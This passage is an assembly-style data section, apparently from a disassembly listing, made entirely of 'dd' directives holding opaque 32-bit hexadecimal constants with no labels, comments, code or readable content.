		dd 58302D60h, 7DD7B367h, 48FCE0h, 50494DCBh, 871A9B35h
		dd 37AD0502h, 40F34397h, 0A075AB0Ch, 6644E0C8h,	0F854F04Fh
		dd 58E56019h, 0A0F3A550h, 502937B9h, 0E83D84E7h, 13501A0h
		dd 0CAADC0E9h, 3EBAE0F8h, 91DE20F8h, 0E9046907h, 0C3998C80h
		dd 1C9D1060h, 7526C047h, 92F1ADCh, 55639725h, 0EEB4C01h
		dd 3CA1D784h, 0E03420D6h, 29549348h, 8D812086h,	0A86B55E7h
		dd 3083D084h, 9EC6032Eh, 989CE24Eh, 838518h, 270CCD40h
		dd 9604A397h, 60B4E12h,	374B6807h, 8D6B4770h, 0A5E1E91Eh
		dd 342BB441h, 571803CBh, 0D7EB5ADBh, 1C07A87Ch,	0C2C0C9C6h
		dd 0E009CDEh, 288B46E5h, 0B471F2Fh, 7C18B2E0h, 82B17C43h
		dd 50AC414Eh, 34108710h, 3C85C9C3h, 1C80C004h, 19B48C91h
		dd 525A088Ch, 10DDF820h, 0D009C518h, 0CAC76A75h, 18F48A58h
		dd 49AE12E0h, 6001A464h, 206D1E60h, 7048FA4Ch, 7811890h
		dd 0C6F33828h, 10280320h, 0D8B1EF03h, 0E0F60B40h, 0BFDDC0h
		dd 4FB47AE9h, 15B0BA94h, 9B3A9201h, 47DA738Bh, 0AF5AA0DFh
		dd 3A6F7C71h, 0FA0F9E42h, 0BA036A7Bh, 201D96ACh, 3A0D91F9h
		dd 29F010E8h, 70419D0Ah, 0E720888Dh, 14BF0F39h,	0DEF31A80h
		dd 0C11F9A71h, 0EC0EA2D7h, 0F2DA86DCh, 0E1949808h, 625408Ch
		dd 4407178h, 91CB06A3h,	0A001C09Ah, 921C411Dh, 0E54F8000h
		dd 8A144DDh, 6147FDF3h,	94420300h, 0E8437F9Ah, 0E8BF615Ah
		dd 8E0CC87Ah, 43189240h, 311E469Ah, 0BA80C9F8h,	0FA3082B2h
		dd 91ECA0h, 90FF461h, 0A2FB5528h, 8C968B00h, 7447EB6h
		dd 0C53600A9h, 71B084CFh, 0A360C85Ah, 82FAEC88h, 0A77C3C1Ah
		dd 90909D1Bh, 0F2316AC0h, 4A9628A8h, 0A40089FEh, 786752D7h
		dd 508FC537h, 57A9CC8h,	0FA83C950h, 414430C0h, 0CD30213Ah
		dd 34738A3h, 2FF40E99h,	6F807748h, 2ECB7314h, 688E9007h
		dd 0B8FAAF3Bh, 8E5FC0Ch, 0B8D45042h, 3CA7C5Fh, 0F2F0D51Ah
		dd 200C193Dh, 8E2715Ah,	29E47812h, 8B40B99Ah, 5D0C296Ch
		dd 8638A781h, 0F88F0C26h, 62A42839h, 0DD80083Eh, 6CC8F880h
		dd 0F1497A6Fh, 8C43030Ch, 0A1B49B68h, 7058FB69h, 906C3BF1h
		dd 44754F83h, 600C3987h, 858022Fh, 0F43500A9h, 0CB983CEFh
		dd 3F784B8Fh, 0B7D04F01h, 65D7DA71h, 48CA1C20h,	0B931089Fh
		dd 0BCEE9A80h, 90A21408h, 0FBEB01B0h, 520ADA82h, 5025020h
		dd 0C2DDF3A8h, 0ECC2C207h, 0A5DA5C40h, 4ECB0407h, 0E420FFCh
		dd 0BA1C40E4h, 0AE18CED5h, 40FBC6A7h, 7C202ADCh, 0F3401C91h
		dd 32291A6h, 0E752AAB6h, 4F802118h, 0C8CA7C6Bh,	7B899881h
		dd 9800663h, 0CDA37C0h,	9DC38398h, 0C544C003h, 40623A82h
		dd 78F7E8C8h, 3D803791h, 1EF52040h, 0F874E4DCh,	0F6A6BC02h
		dd 98B5DA91h, 0E86848h,	0AB59A175h, 5174C752h, 320FCB05h
		dd 1441FCFDh, 0AD416BD0h, 27F481FAh, 0C0432E78h, 0CFB83950h
		dd 0AF0072BAh, 7A71D931h, 730A8ADEh, 0B094541Ah, 0C067020Ch
		dd 0F3A90440h, 81DB56BDh, 4E363390h, 2E720194h,	44AA994Dh
		dd 6716B020h, 2085606Dh, 9341DF3h, 8354F8D1h, 8E9FD28Ah
		dd 0F4672439h, 0FC4F0910h, 486F4800h, 0FA1871DCh, 0F0A8B70Bh
		dd 0A5D0F766h, 1D5090A3h, 0F8246CBh, 1817DFAFh,	0D0BAC802h
		dd 0DA372090h, 46C3E01Fh, 0CA43C762h, 0AE40260Eh, 5B5A0698h
		dd 0E75148DAh, 0BCDFF1D4h, 63753D60h, 37642F40h, 0C4105E38h
		dd 0EE081F26h, 0A4DF0961h, 1FED5C05h, 5D300AECh, 14E10C9Ch
		dd 9CEADF0h, 471AF8Eh, 58C1CB25h, 588C05DDh, 8383B0Ch
		dd 60EC02E9h, 4473A70h,	78FA82F8h, 0E17C8302h, 0D87E2126h
		dd 0D43D3A0Ah, 2DA193Eh, 0B047A4C8h, 26728443h,	93DCB820h
		dd 9AF404F4h, 0C094C7D2h, 0DA947511h, 24CDF726h, 40388E0Ch
		dd 383D6FBAh, 42D44613h, 8907284Eh, 14FDE544h, 9A04700Ch
		dd 487020D0h, 7A48FC61h, 5820D3C1h, 0F8D14C17h,	0C819FB1Bh
		dd 0BDA4C094h, 9060D467h, 0CECB35D0h, 3FC90B4h,	921B362Fh
		dd 8194847Ah, 0D341E890h, 0D44294C2h, 84A80977h, 0F0D1EE74h
		dd 0DC203F56h, 94384C8Ch, 6E106830h, 4B803933h,	0EEFA0FCCh
		dd 0DBC0845Ch, 3B67B966h, 742A5903h, 22D265Ah, 203C1290h
		dd 6C40931Ch, 0C090509Dh
		dd 20C910F4h, 454143Dh,	0EF1DDB76h, 3B470492h, 0C56FA082h
		dd 8BB4010Ch, 3053124Ah, 9B48A780h, 4C0F0184h, 2E7A83C1h
		dd 671A3020h, 0DB5A08ECh, 0EABA9402h, 673A5840h, 5DE54506h
		dd 1FF879D1h, 79B5BFBh,	0CFF2F11Bh, 701EF06Bh, 8430350Ch
		dd 487A001h, 0EFF232E8h, 0CB7484A0h, 3FBD0444h,	0D4D00345h
		dd 0C97078E7h, 0C48991D0h, 65063C16h, 0F996E306h, 48C70160h
		dd 118FF43Ch, 40347564h, 53CBDA7Ch, 2315D0C9h, 3161A7C8h
		dd 9A10D6F0h, 3AD020A2h, 18942B49h, 27206796h, 3DD0F90Eh
		dd 0FA910CE7h, 0FE485037h, 0ABC00866h, 801A13C8h, 1D500997h
		dd 96B854A3h, 33E1819h,	7C209548h, 350F24FAh, 8D650C64h
		dd 5CB86B08h, 7E48D9F8h, 0B0092A60h, 38C6AC70h,	6220B34Bh
		dd 0C49A2812h, 2CA28443h, 0CB13A01h, 6124B888h,	7C04EB12h
		dd 7480961Ah, 0CB402BBAh, 0C883A958h, 812AE5Ah,	0BC1D8E7Ah
		dd 3A306E18h, 0A4A64C0Dh, 2C788824h, 0B72F582Ch, 0FA325414h
		dd 112712B4h, 83EF3406h, 29A2C30h, 58EC2630h, 2624840Ah
		dd 7843C99h, 5D0A71C9h,	0FF1A0B94h, 0C6B58821h,	0E205C83h
		dd 2126BBECh, 248BC4F5h, 0C38C82DBh, 0EBDC84ACh, 587070C4h
		dd 20D2F3F1h, 47020445h, 2FCB9B2Ah, 96A8627Eh, 1039FE24h
		dd 1A05FE1h, 0CB9D88A7h, 3C21E96Fh, 18E54C1Ch, 31B677B4h
		dd 60B0AA87h, 14BB6F26h, 0ACA126BBh, 0D0148E13h, 4F93B074h
		dd 0D9D56269h, 0C8425AE7h, 0C8819865h, 4D5DAEF9h, 7C7A041h
		dd 7C1A588Bh, 152B1427h, 9A307074h, 4620803Eh, 0BA271408h
		dd 8EE19451h, 22032B71h, 9A0752A8h, 0C589453h, 746E8B2Eh
		dd 0FEB6729h, 82856B3Ah, 0B7B209Eh, 0E423CFBCh,	70A5A972h
		dd 788EC418h, 41D81A14h, 538D14BCh, 80B4C9D0h, 9C0A77E4h
		dd 85FE0016h, 3CCE4FBEh, 7001F991h, 6AD7DE87h, 0A5C83805h
		dd 45A30049h, 1AD42FC1h, 3E2F3E7h, 23147354h, 37EE6008h
		dd 674F079Ch, 73B08015h, 0A6E8F263h, 0A62B139h,	1C61B3BFh
		dd 72C0F980h, 33DB534h,	61B6FC1h, 14C3D0EEh, 0DDAA50A0h
		dd 7D6E90F0h, 66278748h, 0F974D041h, 0A9A12880h, 5ACE447Ah
		dd 0D80068D3h, 41BF0F1h, 15707FE1h, 3CA761AEh, 518E3080h
		dd 3306A989h, 0DCE58FC1h, 0FB588368h, 0B6101EFEh, 1AE787FDh
		dd 4630800Dh, 0B4E8F26Fh, 50E1F606h, 3C905E96h,	0F060DCA7h
		dd 251162B8h, 3844AF2Ah, 0F68F7A06h, 0FCE81752h, 686160E4h
		dd 0F0E049E5h, 0E703A8A5h, 144E1F1Eh, 846ECF31h, 0A8EBD018h
		dd 18A68D50h, 31B6A605h, 0C006A89Fh, 15C1DCEFh,	0E87B6F07h
		dd 0F35F4080h, 0C30CE6E7h, 50FF2C0Fh, 70D8A062h, 0C2CA68Ah
		dd 1B8E94F7h, 69612F31h, 1A07088h, 60F310D0h, 0A82D4099h
		dd 9651C47Ah, 1C0F21C8h, 0FE0C5EB8h, 48FAF17Ch,	3C904Fh
		dd 0E7BE30E2h, 0BD9E1164h, 8E246C3Dh, 0E9B00AC7h, 0C341C2Ch
		dd 0DA0E9B86h, 42626F49h, 9895D080h, 1091A814h,	0AF92A25h
		dd 0E09BFE8Fh, 0C1148E14h, 84CAEF24h, 0CAAF0424h, 53E01029h
		dd 8FAB80F8h, 0CF50D060h, 0A5EEA7B3h, 1FF883DCh, 28E65BB1h
		dd 0AC53EF76h, 2E6887ACh, 3DA12006h, 0F1AB3A0Fh, 0EF9A8164h
		dd 0F69410h, 571FC42Fh,	830150E2h, 386948ADh, 0E1B040E7h
		dd 9018F175h, 0E8D0067Bh, 6F62794Dh, 29001839h,	0C4D0F3C6h
		dd 514A248h, 0A47AFA20h, 6F035465h, 4830D6DAh, 129DC58h
		dd 14754068h, 0F240DCA0h, 0F04F508Fh, 9ABB2490h, 0D4AB1410h
		dd 8811CFF0h, 0E98E2405h, 30C1AFC3h, 0A2C970F1h, 0A302184Ah
		dd 0E57FED6Fh, 0C239C4A4h, 0F045B004h, 5696F501h, 0C4518E6Dh
		dd 0EC4EF96Ch, 6348AA0Bh, 98C49B88h, 0CF30E0B3h, 2968B748h
		dd 0B814094h, 0F78418DBh, 0AF4A2F00h, 0DA291098h, 0D24018A9h
		dd 40496950h, 84534FD0h, 0E3E10510h, 0B021CD45h, 0EA01DDFAh
		dd 64B08702h, 0B6F31152h, 45E7FA6Bh, 95E00138h,	2057FB66h
		dd 464C8FFCh, 0C3D04228h, 0A2FA84B6h, 0DCAF02D1h, 24B10840h
		dd 4068D06Eh, 0F4901153h, 0DBD8A0F3h, 62017C8Ah, 0A6708067h
		dd 30648887h, 63E4696Ch, 0B8BC56h, 0E1B0238h, 16623F4h
		dd 0B5CC2B5Ch, 0C818B6D4h, 15072A94h, 0A10554C8h, 0AE593440h
		dd 35D414CCh, 0A00D7ACh, 5E2B1433h, 0A90E0DF6h,	0B8C09C8Fh
		dd 3BD77C51h, 0EC82B5C2h, 1B54CA60h, 0E951898h,	31DBB100h
		dd 0DC9C6619h, 3A54E2CCh, 34BDC7B3h, 0CB1DF405h, 0F31C3021h
		dd 0F930C97Bh, 6CBC68EFh, 34910509h, 5F2CA63Eh,	2DEA4614h
		dd 0DC2991F5h, 1FBE2404h, 3A05898Ah, 35C0661Bh,	0AC550534h
		dd 0D0180054h, 25B1F7D4h, 0A30E1C66h, 950724h, 54B4BC17h
		dd 1814E812h, 0E897AD0Ch, 7313422Eh, 0A000FD93h, 213F4C07h
		dd 125C3892h, 0A2515882h, 14983E6Ah, 61FA5A0Ch,	1252B400h
		dd 8C1D3032h, 140E3A96h, 3905612h, 2FA3AA14h, 29521879h
		dd 0E7320320h, 7BD46EEh, 1723D268h, 9250F843h, 0D5A8107Eh
		dd 4F200B6h, 73EAA4B8h,	145154D9h, 0EB791CE8h, 9250B009h
		dd 0B114BCDFh, 0C13CC72Ah, 5057F4BBh, 0B7B203DEh, 670A847h
		dd 0F9676FE9h, 0FE520551h, 6013431Dh, 24149F3Ch, 6FFF5C00h
		dd 0F63C7212h, 60F50574h, 6017FC9Eh, 9CDF1018h,	0E24C3120h
		dd 51D63FE6h, 11A6E393h, 0BA80448Fh, 974156E6h,	2E183280h
		dd 0A03431Fh, 811496A7h, 81D4C1C6h, 0BDD200E6h,	2AC30FEBh
		dd 0CACCD517h, 773C0A09h, 13457D4h, 0B7F970C0h,	0B4405D11h
		dd 1D7BC674h, 9598C7B6h, 879C3875h, 6CD28C58h, 74059230h
		dd 64567ED7h, 0BC141430h, 0C0F9EA87h, 1327B2F0h, 0C257168Ch
		dd 952606CCh, 551D98Bh,	0F825E552h, 0A33C604Ah,	3DFA749Bh
		dd 4D17280h, 0E1CADCECh, 0B9E560E4h, 51F06E7Ah,	0DCFC1522h
		dd 0C014F496h, 0A7C78FEh, 0B02C2432h, 0C3C20401h, 9CE210AAh
		dd 113CE2B8h, 30A1082Bh, 0DBCA305Dh, 54AE8CDh, 0AAC6D720h
		dd 4738312Fh, 6A2130ACh, 8FF238C0h, 570AB19Eh, 281F88D1h
		dd 7DBB089Dh, 0D6C79200h, 48E56AC6h, 38E06CB5h,	4310F2C1h
		dd 29715D0Bh, 60DC7563h, 8C68C366h, 5F6C24E9h, 2ADF9007h
		dd 4A41A7D6h, 4420A91Fh, 85F207BBh, 8AA8B26Ah, 92B9E064h
		dd 0C740CE49h, 0DE1C2872h, 6D6A0298h, 0A36CB575h, 6EA6D440h
		dd 7B0115F0h, 253574F3h, 605D85F9h, 0CDE46EDDh,	23C9A8Fh
		dd 957559A5h, 4040F7A3h, 0B1529B13h, 25FCC7F4h,	688A1452h
		dd 12BE3D44h, 3CA16AA4h, 6C0634C0h, 0F238506Eh,	189A2810h
		dd 1CC130F0h, 9CAEC608h, 759563Ch, 3442F46Eh, 0EBAF1340h
		dd 3119DA7Bh, 0FB40043Fh, 5015DAh, 7C77147Ah, 9209FAF4h
		dd 0D579ED72h, 0D969EC30h, 1E9FEA39h, 0E15C14Ah, 35FC21Ah
		dd 0B33C51B9h, 0F4346CE5h, 0B04CC752h, 0A0355DC6h, 277C90h
		dd 21583AF5h, 0AD68EAC8h, 11A2E50Fh, 5BFC8544h,	976D0C01h
		dd 0AE03161Eh, 992281D2h, 0CE1881FBh, 21122203h, 44281518h
		dd 0CA89505h, 18A106FFh, 10C50C29h, 21B3D07Ah, 18D79C7Dh
		dd 0A9B119D1h, 736E2884h, 0FFCD2818h, 705A2848h, 18E5540Ch
		dd 0B90CA881h, 2430D1E4h, 418FC4A1h, 8AEDD3Ch, 0C8750CBh
		dd 8A548691h, 0FA504560h, 30A83724h, 2984D581h,	15B47A0Ah
		dd 7D145475h, 984B4CFh,	0CAEE07F4h, 0A0FDC3B1h,	6A7F601h
		dd 20837D18h, 1A54B97Ch, 9002A89Ch, 2C52B780h, 5F3448C5h
		dd 0B8BE3965h, 4678D480h, 12EDF2DBh, 0B43D4F01h, 0A0C72945h
		dd 1707D0h, 335A1318h
		dd 0DA010A60h, 0C104E890h, 87E7E5C3h, 98900497h, 1E2F9788h
		dd 755E9h, 40610CAFh, 8E0063D5h, 0EFF84767h, 0C9B30DBh
		dd 2F83646Fh, 1503E904h, 0AB0E9AD7h, 0D5EEE008h, 1FCA1D69h
		dd 0C93C8027h, 0A6F86651h, 0CBB6DA1Fh, 0E2079880h, 5D808BEh
		dd 62C2D921h, 1C2AECh, 0A8058124h, 30A1F9F6h, 680BC09h
		dd 9E00EE02h, 58FD1328h, 0F2565DA7h, 0E67700A5h, 0E424CBEAh
		dd 0EF0042BBh, 647F33Ch, 1ED5F64Eh, 80281AD8h, 5D971025h
		dd 8419FC37h, 475893DBh, 5820E0h, 0EE54D80Fh, 0F8867477h
		dd 56288270h, 0A5021483h, 85F716BFh, 5E34A02Bh,	4B58CBh
		dd 9FB4D054h, 537B87B2h, 1AAFBE03h, 0C8414D45h,	600A21h
		dd 68FBBBC5h, 0B120613Ah, 0B0B6DF00h, 9A0BC8Fh,	0B870A9h
		dd 0FBE5D2E8h, 9A3B9349h, 0D700DEFAh, 0F3A616ACh, 1E629C7Ch
		dd 82960B5Ch, 0AD2A8A3Ah, 18541000h, 1E90013Dh,	0B9469AF7h
		dd 6A4F019h, 0DE0DCB8h,	18057975h, 0AE1A0568h, 0D6BF4071h
		dd 0EE8DFDDCh, 0FA65075Eh, 0F0C0D128h, 627EABA7h, 0A5B9470Eh
		dd 0C5DE8679h, 30160078h, 0BCDACFD9h, 78F0AD3Ch, 1C46B43Eh
		dd 6558D660h, 0CF5E689h, 5F887FD5h, 0BE40A918h,	5BA81420h
		dd 0E40D9C7Dh, 0F0F8831Fh, 50CCE34Fh, 3E431820h, 1D014E47h
		dd 4B7CD5F2h, 27E5D0E9h, 8E317862h, 0C384B814h,	96B50A50h
		dd 0A0CE1Dh, 74FEF560h,	0A051248h, 0B21B2F4Ah, 908BCC00h
		dd 3C95D288h, 3B07132Ah, 0DFBDA126h, 4D611160h,	9400EEB2h
		dd 0B51AF682h, 0C908A40h, 0EC229B71h, 3514B618h, 8052EFh
		dd 123FFC30h, 653BE456h, 20B0A04Ch, 0D52CE6C8h,	80908539h
		dd 1596DD5Dh, 0DA8CF8h,	0F9AD5AC0h, 59D4C15Bh, 0D0D50503h
		dd 0E03B7BB9h, 0F53AE6h, 7DDF452Eh, 0F105354Bh,	0A6DEAE04h
		dd 1080AFC7h, 70748DE3h, 514A03D4h, 0D644CC0Fh,	60DE413Fh
		dd 58B43029h, 0C567D1Eh, 5F807151h, 0E400E0E8h,	829757A5h
		dd 0E89B5Ch, 0B7B8DB4Eh, 41389020h, 0B80A8028h,	0FFD8B314h
		dd 0ED1D0094h, 89E7E6DCh, 0C6E8C690h, 905B17Ah,	843307A8h
		dd 9B453070h, 0D5C9238Bh, 1418203Fh, 9C37C3FEh,	0FAE28840h
		dd 489051h, 9A2F2355h, 4B36950Bh, 1428220h, 0D041FAA6h
		dd 8045EEE5h, 0C68B4738h, 0ECCB66Fh, 5BD41096h,	43233CC0h
		dd 95760CCDh, 0FCB09900h, 0C65C859Ch, 607024DDh, 0CC59096Ch
		dd 0E4531803h, 511F78C3h, 0FB40F636h, 0AD7C8F37h, 0A8A0A10Ch
		dd 887066C8h, 5B0FB2DFh, 0A3B64BF0h, 0B83DD353h, 60D1Fh
		dd 37E64E51h, 0DC16ECB4h, 0F198DA07h, 7C54D55Ch, 8A60A480h
		dd 0B2E70023h, 0F431950Dh, 0F9CE0B0Ah, 64D78F5Ch, 508A15ADh
		dd 0DE0DA301h, 4887BB7Fh, 9E055648h, 772A0C14h,	0B660A401h
		dd 6D704DD3h, 2B1C24C0h, 40EF129Ch, 0C1AE9CC4h,	94E05B7Dh
		dd 4F7F8300h, 0D9645601h, 0C00AF6CBh, 0ACCD4778h, 59004E6Ah
		dd 6405F165h, 92FD4639h, 0E9450484h, 8052A199h,	106863A4h
		dd 0BA7EB1C4h, 0DCF2A041h, 2BE980EAh, 928CB8BBh, 3FECA02Fh
		dd 40FC4D42h, 1E0901Eh,	0F2238137h, 1D0830E5h, 6AB43E19h
		dd 0E0D0D820h, 204B281Ch, 6F7C0184h, 4F11591h, 0C2184424h
		dd 0A4A15623h, 80162092h, 0EA491378h, 92979BC0h, 40472234h
		dd 366CBB00h, 0A691C27h, 0EC5548DDh, 536012h, 0DAC6C352h
		dd 7F189D05h, 3E69FC84h, 61E91B60h, 101EF009h, 0CC04E2F8h
		dd 0B9323D73h, 3CAEB630h, 8F014E1Dh, 2B2A8813h,	0CA2D010h
		dd 0AAB50215h, 0E70D01F8h, 1D3A7099h, 0D66E30h,	44B3B9ACh
		dd 92C97271h, 0DE3F40BDh, 0BA42952h, 0B834D8h, 4E3D904h
		dd 709278AAh, 51154898h, 0AA005D6h, 0E4F44661h,	0A4842E81h
		dd 49805595h, 0BFA734FAh, 9301311Fh, 0B15F49EEh, 7C200CB7h
		dd 4AE20047h, 657E100Bh, 7C48BE2Ch, 37097BBAh, 38D2A329h
		dd 0F3078A20h, 0B9FEC851h, 8471F806h, 0B0943A37h, 16394910h
		dd 4DD0A06Bh, 4CF005Ch,	0CABD3182h, 9517F6B1h, 48008179h
		dd 55707B47h, 566600E1h, 0CDD3CA2Fh, 7700EFE6h,	34440F3Fh
		dd 609DA6C0h, 5BF0101Ch, 0DF0143BBh, 0E686E84Eh, 305031E4h
		dd 7B05AD7h, 73027A8Ah,	48814B8Ch, 0FA115013h, 71A242C0h
		dd 0C2C161Dh, 0EA2293C0h, 669794h, 0BE4C61DEh, 768E6D36h
		dd 693F9E00h, 50D9733Eh, 0D492000Bh, 0CCA6D55Eh, 1D000A61h
		dd 1655A3ABh, 17F4C45h,	2AC53B5Ch, 600B48B7h, 5239719Ah
		dd 80FAB843h, 0C086DDEAh, 0F499A11h, 0E359A54Ch, 0E816BD60h
		dd 3B0C2129h, 50837FCDh, 0A0493DF6h, 61BD4219h,	0C00450BEh
		dd 10C0C122h, 6B5999B3h, 0A82E004Ah, 0C5AA6840h, 0B2019575h
		dd 721EBA63h, 53E0ABA5h, 0DE3003F2h, 775DE27Ch,	8DF8B4DBh
		dd 0EE003227h, 0F071DC43h, 7991D57h, 6590B59Ch,	0E9201039h
		dd 6C003B66h, 0FE5FFA2Eh, 4AD2EBh, 4B26CF86h, 5A222804h
		dd 1100DEFAh, 0CD257A3Eh, 17051Eh, 498238C6h, 0DB4D78EBh
		dd 0B10EAB7Fh, 0E0E06646h, 87B3C992h, 0E4250006h, 0FFBB0586h
		dd 2300AB9Ch, 8FB7767Ah, 0F849886Ch, 2E9500CFh,	3B82CE2Dh
		dd 441DAB77h, 2203F01Ch, 0B84DA057h, 6CF7D8h, 8C4AFCEh
		dd 0F5DC706Fh, 73A1F400h, 748C2D5Eh, 40724Ah, 0A005B261h
		dd 83FACBC7h, 0A2250D00h, 150174C3h, 944900C1h,	61652BF4h
		dd 0B800A7FCh, 87CA55C7h, 0A32175h, 0C81AC274h,	0C12E1C8Fh
		dd 441F6703h, 0DD1BCCh,	0CDDA0920h, 279816B7h, 0BB239D3Ch
		dd 0FE8700CAh, 0E6CF55Ch, 2F131CD1h, 0AFC48044h, 652D711Dh
		dd 0C37EB300h, 6FD5D04Dh, 420707C2h, 20B8D950h,	1470CB3Fh
		dd 44075771h, 824D0C3Ch, 83C81243h, 0B265C815h,	70581CBBh
		dd 4079DCE8h, 0D2E66A75h, 4A3D5E28h, 39540050h,	1B61EDE4h
		dd 8D0E0145h, 0E99C49BFh, 705C707Eh, 303A1A00h,	877DF9A7h
		dd 96F657h, 0F109F7ECh,	0E42CCFFCh, 0DD0044FCh,	0D9361F78h
		dd 0A05A0E2Ah, 7E564DA3h, 66A00F6h, 0ABCD8F7Bh,	0C50191EEh
		dd 2C672D5Fh, 86F05623h, 0A9A800A7h, 0F18EBB47h, 0BEF84BD5h
		dd 9EC3FC0Ah, 0FF01C44Eh, 55ED315Dh, 0F63AD0CFh, 8EA15CCCh
		dd 49FE8100h, 534101CBh, 0E0DBE201h, 4D2220A4h,	0AB00B457h
		dd 735D1264h, 0D0520057h, 33DA1BF5h, 0AA01E31Dh, 449FB501h
		dd 9C4065C9h, 42D770h, 67AA092h, 9956B10Dh, 0F4E0F700h
		dd 21195D7Dh, 25800320h, 0B150873Ch, 0A8160AA0h, 393B3000h
		dd 80AE2122h, 9C4B0072h, 19536DD0h, 0D8002832h,	6058C998h
		dd 0E0A9281h, 8866F571h, 0C2E86B80h, 0B707E2E1h, 436586BAh
		dd 0D648CDD0h, 123201CEh, 0F98A981Eh, 21D0E72Fh, 0D23D9DB8h
		dd 9700FEE6h, 0E5C7C88Fh, 2A2C92h, 8B52CEF6h, 0A624864h
		dd 58EBA806h, 0E0CF1Eh,	0DE9BBC0Dh, 98486FC2h, 94C9E528h
		dd 0A0518500h, 0E3CCFAD5h, 1A5E033h, 0A1E54204h, 0D40EAE2Ch
		dd 0D3030C34h, 71E977Fh, 0E06EB015h, 158923Ah, 0CC2C99B5h
		dd 8019E8EBh, 0EEDD2B20h, 362D30h, 64D834C6h, 0F2C7CEB3h
		dd 59947300h, 52E3C551h, 99A90023h, 5A882482h, 0FC1E67F5h
		dd 6280D84Dh, 93350E30h, 0A4D116A9h, 0E2960052h, 76203FE3h
		dd 8D649400h, 0C497C03Ch, 0FDFB0037h, 2C59AD62h, 0B000666Bh
		dd 0DF9848Ch, 0CF6719h,	0B1517352h, 32901ADDh, 460BC00Bh
		dd 1E10EC5h, 292FE93Fh,	391610E4h, 1401ECB6h, 383CF7BDh
		dd 519880C1h, 229A8D28h, 3F917E30h, 58819003h, 35957B1Fh
		dd 0C32BC06Dh, 2544DA1Eh
		dd 7CF63900h, 7989E4Ch,	0B435624h, 9D28109Bh, 0AE1C84ADh
		dd 0E85C963Bh, 63BB6740h, 26C42Eh, 0DBD55509h, 77F2B6F9h
		dd 8F0EC305h, 0EF80D7C1h, 0F8A389h, 0BD15EDCFh,	0C0407623h
		dd 2F64FD0Fh, 0E1C4C061h, 97338Dh, 0E68CF746h, 2689C0B0h
		dd 871E500h, 0C29CD43Eh, 0FBE3D30h, 395E1700h, 0B101125Ah
		dd 9E744800h, 6126848Fh, 7FC7B88h, 858BCAA0h, 56C391D3h
		dd 0B8E74007h, 0A6FE026Dh, 93F0D607h, 0A8809EE8h, 5C89CA83h
		dd 8E50B18Eh, 903C3D76h, 3D86037Dh, 942B454Dh, 826DB9F8h
		dd 777AAA00h, 15FE8B4h,	0E566062Ah, 22984767h, 0B3EE6800h
		dd 488CAF25h, 0AE500F81h, 0F5E29FF8h, 0A8834128h, 7290640Eh
		dd 0EF03D7BEh, 4C7362D9h, 577DC837h, 5F1A0E67h,	6F60489Fh
		dd 0D14DE143h, 0DFA29A00h, 0C59078EAh, 0F57C00C4h, 5BF4B9A4h
		dd 2A0012A9h, 8A633758h, 8403Ch, 48F6B0F0h, 0FF1D233Ah
		dd 0A2101C01h, 75E735FDh, 0E2F3ACF4h, 383B09C0h, 0D80094E6h
		dd 0A3917CDAh, 0D7FA5300h, 0B6C8744Eh, 0E971480Fh, 0F2EF3A01h
		dd 30ED86F3h, 2F000130h, 9E5677FFh, 0BDA5C4h, 1B6D4C3Ch
		dd 0DEC01C6Ah, 570BD000h, 7602D4DFh, 0F4CE01FFh, 0BC5BED78h
		dd 5AF7F09Eh, 7BB5871Eh, 48755340h, 2DD034h, 0AF12F3F4h
		dd 57B2062Ah, 87FD1538h, 6E074466h, 508FA0B0h, 0DAF809h
		dd 0C8F1AD03h, 38CF2C89h, 0CDB93A00h, 0C7E94ADEh, 19EC00C4h
		dd 883435B2h, 0C8031C02h, 742177E2h, 0EA5050B9h, 0A79F5C1Eh
		dd 4C59CF00h, 4D2DB689h, 5F80241Eh, 965C6A81h, 0F8CB2A47h
		dd 880674h, 0E7FD8646h,	0FEBCF6CCh, 733F1F00h, 6A64F236h
		dd 0A09804h, 1E455614h,	0F94D2717h, 0D1C30F1Fh,	803FBD1Fh
		dd 0DB821A84h, 50D0D465h, 989A5h, 0F3B807A7h, 2D6196C8h
		dd 4667948h, 0A2C2DF55h, 0BBC100FFh, 0A610ED47h, 2FD8B76Eh
		dd 0F728E3D9h, 0C9D7F0B1h, 9430F3ABh, 329C39F6h, 96EAF8h
		dd 143135F2h, 0B6F7708Fh, 5882651Eh, 0D985A140h, 18AC9D57h
		dd 0E436D818h, 0D6743440h, 0E98C8E09h, 0ACBCA087h, 6DEFD1h
		dd 0B58C1C4h, 4B29B30Ch, 0C48E430h, 334DB2h, 5490C8E2h
		dd 0E876DC9Eh, 919C650Eh, 0AF320A5h, 0E05048h, 4F5B958Ch
		dd 0D55D2193h, 0FB004E7Dh, 50DF61A5h, 161D74h, 0B71C462Bh
		dd 0D7D2E72Fh, 0C11445F0h, 185C25h, 0FCAD1511h,	801D4CA2h
		dd 1F008B61h, 5BBBF2F5h, 0A8FFD5h, 4FABE4BDh, 0B05160E3h
		dd 21A2EE00h, 2CE29C38h, 0D2913D5Dh, 1D32BD8Fh,	6CA01CEFh
		dd 72C984B1h, 0D694CCF9h, 732A1600h, 0A32BFA87h, 1C60E056h
		dd 0C06F0BDDh, 0B39A49E2h, 29006A41h, 8CEAD22Dh, 5FA1756Ch
		dd 0CCFC25h, 8D0AA248h,	0B28262h, 0C76D2110h, 0C4F87CEh
		dd 0EE9F3500h, 86C1A2FBh, 23A10049h, 0F3C2072Bh, 0DF0129B6h
		dd 0DC6C8EF0h, 6ACC4658h, 0E8FA004Ah, 16A3F108h, 8101718Ch
		dd 0BD279F7h, 0CAE04E55h, 8540095h, 57682EFEh, 10004C8Ch
		dd 0C70AD206h, 59EF75h,	61D45567h, 3F98E53Ah, 8D016C75h
		dd 25607AA9h, 0ACF05B2Fh, 0E73303E4h, 8AE66BBFh, 0B4D17BB0h
		dd 80875E3Dh, 5FD528D9h, 0E74C93Dh, 64D683E3h, 0D02C75C0h
		dd 0A4007C71h, 0D8E1BCD9h, 2E5BD756h, 0D757E3h,	0F794CD67h
		dd 9300F47Ah, 262EA522h, 0FD613Dh, 45893118h, 47D07685h
		dd 0A1F58C07h, 3F504EC9h, 0FA849B3h, 81E7F744h,	3AC45581h
		dd 0E11D7017h, 2C848001h, 0BA0D854Bh, 679D7880h, 0FA432A2Eh
		dd 86B04600h, 0F6109A15h, 705800E4h, 5282F804h,	37016E35h
		dd 88E8530Bh, 5CE0BCE5h, 56223B6Ch, 9B6FC0E0h, 0B100AAFDh
		dd 9D8E5511h, 7A37923h,	0EED33FE9h, 258840D5h, 62000BBCh
		dd 57937F37h, 72F514C5h, 580E044Fh, 80D9B12Ah, 0ACD41A15h
